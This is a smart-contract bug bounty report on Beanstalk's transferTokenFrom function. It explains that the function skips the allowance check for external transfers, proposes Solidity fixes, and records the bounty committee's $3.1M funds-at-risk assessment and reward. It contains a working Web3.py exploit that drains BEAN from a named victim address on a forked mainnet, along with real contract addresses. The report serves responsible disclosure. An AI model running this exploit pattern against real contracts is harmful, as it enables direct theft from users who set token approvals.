ūüďĄ

Report #13513

Report Date
November 14, 2022

DIRECT THEFT OF FUNDS due to allowance set for Beanstalk

‚Ä£
Report Info

Report ID

#13513

Target

Report type

Smart Contract

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Bug Description

PLEASE ACT IMMEDIATELY: Funds can be stolen directly from a user's wallet or a contract that has set token approval for Beanstalk.

The below POC demonstrates how an attacker can steal funds from anyone, specifically the Beanstalk: Farms Budget which currently holds upwards for $400,000 in BEAN.

The issue lies in the TokenFacet.transferTokenFrom() function. The function only checks the allowance for internal balance for msg.sender, not external transfers. Therefore, anyone can call transferTokenFrom() with external FROM and TO transfer types and steal the tokens.

    function transferTokenFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount,
        LibTransfer.From fromMode,
        LibTransfer.To toMode
    ) external payable nonReentrant {
        uint256 beforeAmount = LibBalance.getInternalBalance(sender, token);
        LibTransfer.transferToken(
            token,
            sender,
            recipient,
            amount,
            fromMode,
            toMode
        );


        if (sender != msg.sender) {
            uint256 deltaAmount = beforeAmount.sub(
                LibBalance.getInternalBalance(sender, token)
            );
            if (deltaAmount > 0) {
                LibTokenApprove.spendAllowance(sender, msg.sender, token, deltaAmount);
            }
        }
    }

In the bottom half of the function, it checks if the token sender is the same as msg.sender. If not, it checks if the internal token balance has changed, if so, decrease msg.sender allowance.

BUT, if the msg.sender calls this function with external transfer types (enum 0), then the allowance is not checked and the attacker receives the funds.

NOTE: I have only checked BEAN allowances but this will also be true for any token such as USDC. The FARMS BUDGET contract contains the largest stealable BEAN balance, but a targetable EOA holding BEAN is 0xd03c52B3256b5e102ce4BF6bB53d4Be9d9963838

Impact

  • Direct theft of funds from either EOA or contract that has previously set approvals
  • Can steal directly from the Farms budget. Not sure what this is used for, maybe rewards?

Risk Breakdown

Difficulty to Exploit: Easy

Recommendation

The recommended fix would be to require that the sender is msg.sender if fromMode == EXTERNAL. This ensures that random accounts aren't pully funds directly from other accounts.

function transferTokenFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount,
        LibTransfer.From fromMode,
        LibTransfer.To toMode
    ) external payable nonReentrant {
        uint256 beforeAmount = LibBalance.getInternalBalance(sender, token);
        LibTransfer.transferToken(
            token,
            sender,
            recipient,
            amount,
            fromMode,
            toMode
        );


        if (sender != msg.sender) {
            if (fromMode == LibTransfer.From.EXTERNAL) {
                require(sender == msg.sender, "Can not transfer tokens externally for owner");
            }
            else {
                uint256 deltaAmount = beforeAmount.sub(
                    LibBalance.getInternalBalance(sender, token)
                );
                if (deltaAmount > 0) {
                    LibTokenApprove.spendAllowance(sender, msg.sender, token, deltaAmount);
                }
            }
        }
    }

Proof of concept

This POC is written in Python using the Web3.py package. It shows how any attacker can directly steal all BEAN from the FARMS BUDGET. You can change the victim variable and steal BEAN from any address that has previously set approvals for BEANSTALK to pull funds.

from web3 import Web3
import json

## ganache-cli --fork https://rpc.ankr.com/eth -u 0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c

if __name__ == "__main__":

    ######## ABIs ########
    BEANSTALK_ABI_RAW = [
        {
            "inputs": [
                {"internalType": "contract IERC20", "name": "token", "type": "address"},
                {"internalType": "address", "name": "sender", "type": "address"},
                {"internalType": "address", "name": "recipient", "type": "address"},
                {"internalType": "uint256", "name": "amount", "type": "uint256"},
                {
                    "internalType": "enum LibTransfer.From",
                    "name": "fromMode",
                    "type": "uint8",
                },
                {
                    "internalType": "enum LibTransfer.To",
                    "name": "toMode",
                    "type": "uint8",
                },
            ],
            "name": "transferTokenFrom",
            "outputs": [],
            "stateMutability": "payable",
            "type": "function",
        },
    ]

    BEAN_ABI_raw = [
        {
            "inputs": [
                {"internalType": "address", "name": "account", "type": "address"}
            ],
            "name": "balanceOf",
            "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
            "stateMutability": "view",
            "type": "function",
        },
        {
            "inputs": [
                {"internalType": "address", "name": "owner", "type": "address"},
                {"internalType": "address", "name": "spender", "type": "address"},
            ],
            "name": "allowance",
            "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
            "stateMutability": "view",
            "type": "function",
        },
    ]

    ######## Initial Setup ########
    rpc = "http://127.0.0.1:8545"
    web3 = Web3(Web3.HTTPProvider(rpc))

    ## Random address with Ether
    attacker = "0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c"

    ## Victim who has already set allowance to Beanstalk
    victim = "0x21DE18B6A8f78eDe6D16C50A167f6B222DC08DF7"

    ## Beanstalk Contract
    beanstalk_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5"
    beanstalk_ABI = json.loads(json.dumps(BEANSTALK_ABI_RAW))
    beanstalk = web3.eth.contract(address=beanstalk_address, abi=beanstalk_ABI)

    ## BEAN Contract
    bean_address = "0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab"
    BEAN_ABI = json.loads(json.dumps(BEAN_ABI_raw))
    bean = web3.eth.contract(address=bean_address, abi=BEAN_ABI)

    ######## Start Exploit ########
    print("STARTING ATTACK.", end="\n\n")

    victim_current_balance = bean.functions.balanceOf(victim).call()
    print(f"Victim's Bean balance: {victim_current_balance}")
    victim_current_allowance = bean.functions.allowance(
        victim, beanstalk_address
    ).call()
    print(f"Victim's Beanstalk allowance: {victim_current_allowance}")

    attacker_current_balance = bean.functions.balanceOf(attacker).call()
    print(f"Attacker's Bean balance: {attacker_current_balance}")

    beanstalk.functions.transferTokenFrom(
        bean_address, victim, attacker, victim_current_balance, 0, 0
    ).transact({"from": attacker})
    print()
    print("Stolen.")
    print()

    victim_current_balance = bean.functions.balanceOf(victim).call()
    print(f"Victim's Bean balance: {victim_current_balance}")
    victim_current_allowance = bean.functions.allowance(
        victim, beanstalk_address
    ).call()
    print(f"Victim's Beanstalk allowance: {victim_current_allowance}")

    attacker_current_balance = bean.functions.balanceOf(attacker).call()
    print(f"Attacker's Bean balance: {attacker_current_balance}")

A better recommended fix would be changing the call from LibBalance.getInternalBalance() to LibBalance.getbalance(). The getBalance() function checks both the user's external and internal balances and can be used to safely determine the deltaAmount.

function transferTokenFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount,
        LibTransfer.From fromMode,
        LibTransfer.To toMode
    ) external payable nonReentrant {
        uint256 beforeAmount = LibBalance.getBalance(sender, token);
        LibTransfer.transferToken(
            token,
            sender,
            recipient,
            amount,
            fromMode,
            toMode
        );


        if (sender != msg.sender) {
            uint256 deltaAmount = beforeAmount.sub(
                LibBalance.getBalance(sender, token)
            );
            if (deltaAmount > 0) {
                LibTokenApprove.spendAllowance(sender, msg.sender, token, deltaAmount);
            }
        }
    }

BIR-3: transferTokenFrom External Balances

BIC Response

The BIC determined that:

  • The funds at risk were roughly $3.1M;
  • Any funds at risk were¬†assets that users had approved to be used by Beanstalk;
  • At most 537k Beans¬†could have been used to remove value from the BEAN:3CRV liquidity pool; and
  • Any non-Bean funds at risk could not have resulted in any loss of value in Beanstalk (apart from marginal amounts of BEAN3CRV LP, urBEAN and urBEAN3CRV).

We appreciate your thorough review of the funds at risk and responses. While the purpose of the bug bounty program is to increase the security of Beanstalk and is not necessarily concerned with non-Bean assets outside of Beanstalk, we acknowledge that a large portion of the funds at risk fall into this bucket.

Given this, the BIC has determined that the Bean portion be rewarded the full 10% and 5% for the remaining non-Bean assets outside of Beanstalk at risk:

537000 * 0.1 + ((3100000-537000) * .05) = 181850 Beans. (Funds at risk: 3.1M; Beans at risk: 537k.)

Halborn Response

I can confirm the issue, if a user has approved the Beanstalk contract it can be exploited as shown below
image